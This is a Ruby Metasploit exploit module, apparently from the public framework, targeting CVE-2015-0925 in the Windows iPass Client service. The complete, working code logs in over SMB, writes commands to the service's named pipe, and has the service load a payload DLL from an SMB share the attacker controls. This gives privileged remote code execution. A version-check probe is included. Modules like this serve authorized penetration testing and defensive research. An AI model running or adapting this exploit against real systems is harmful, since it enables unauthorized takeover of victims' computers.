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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::SMB::Client::Authenticated
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  include Msf::Exploit::Remote::SMB::Server::Share
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  include Msf::Exploit::EXE
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'IPass Control Pipe Remote Command Execution',
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        'Description' => %q{
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          This module exploits a vulnerability in the IPass Client service. This service provides a
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          named pipe which can be accessed by the user group BUILTIN\Users. This pipe can be abused
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          to force the service to load a DLL from a SMB share.
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        },
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        'Author' => [
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          'Matthias Kaiser', # Vulnerability discovery
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          'h0ng10 <info[at]mogwaisecurity.de>', # Metasploit Module
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2015-0925' ],
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          [ 'OSVDB', '117423' ],
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          [ 'BID', '72265' ],
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          [ 'URL', 'http://codewhitesec.blogspot.de/2015/02/how-i-could-ipass-your-client-security.html' ],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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        },
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        'Payload' => {
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          'Space' => 2048,
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          'DisableNops' => true
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'Windows x32', { 'Arch' => ARCH_X86 } ],
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          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
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        ],
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        'Privileged' => true,
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        'DisclosureDate' => '2015-01-21',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
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      ]
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    )
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    deregister_options('FILE_CONTENTS', 'FILE_NAME', 'SHARE', 'FOLDER_NAME')
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  end
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  def check
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    echo_value = rand_text_alphanumeric(rand(10) + 10)
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    begin
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      response = send_command("System.Echo #{echo_value}")
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      if response =~ Regexp.new(echo_value)
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        return Exploit::CheckCode::Vulnerable
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      else
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        return Exploit::CheckCode::Unknown
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      end
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    rescue Rex::ConnectionError => e
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      vprint_error("Connection failed: #{e.class}: #{e}")
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      return Msf::Exploit::CheckCode::Unknown
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    rescue Rex::Proto::SMB::Exceptions::LoginError => e
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      vprint_error("Error during login: #{e}")
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      return Msf::Exploit::CheckCode::Unknown
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    rescue Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => e
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      vprint_error(e.to_s)
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      return Msf::Exploit::CheckCode::Unknown
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    end
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  end
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  def setup
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    super
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    self.file_name = "#{Rex::Text.rand_text_alpha(7)}.dll"
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    self.share = Rex::Text.rand_text_alpha(5)
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  end
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  def primer
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    self.file_contents = generate_payload_dll
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    print_status("File available on #{unc}...")
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    send_command("iPass.SWUpdateAssist.RegisterCOM #{unc}")
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  end
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  def send_command(command)
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    # The connection is closed after each command, so we have to reopen it
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    connect
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    smb_login
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    pipe = simple.create_pipe('\\IPEFSYSPCPIPE')
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    pipe.write(Rex::Text.to_unicode(command))
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    response = Rex::Text.to_ascii(pipe.read)
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    response
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  end
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  def exploit
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    begin
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      Timeout.timeout(datastore['SMB_DELAY']) { super }
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    rescue Timeout::Error
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      # do nothing... just finish exploit and stop smb server...
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    end
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  end
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end
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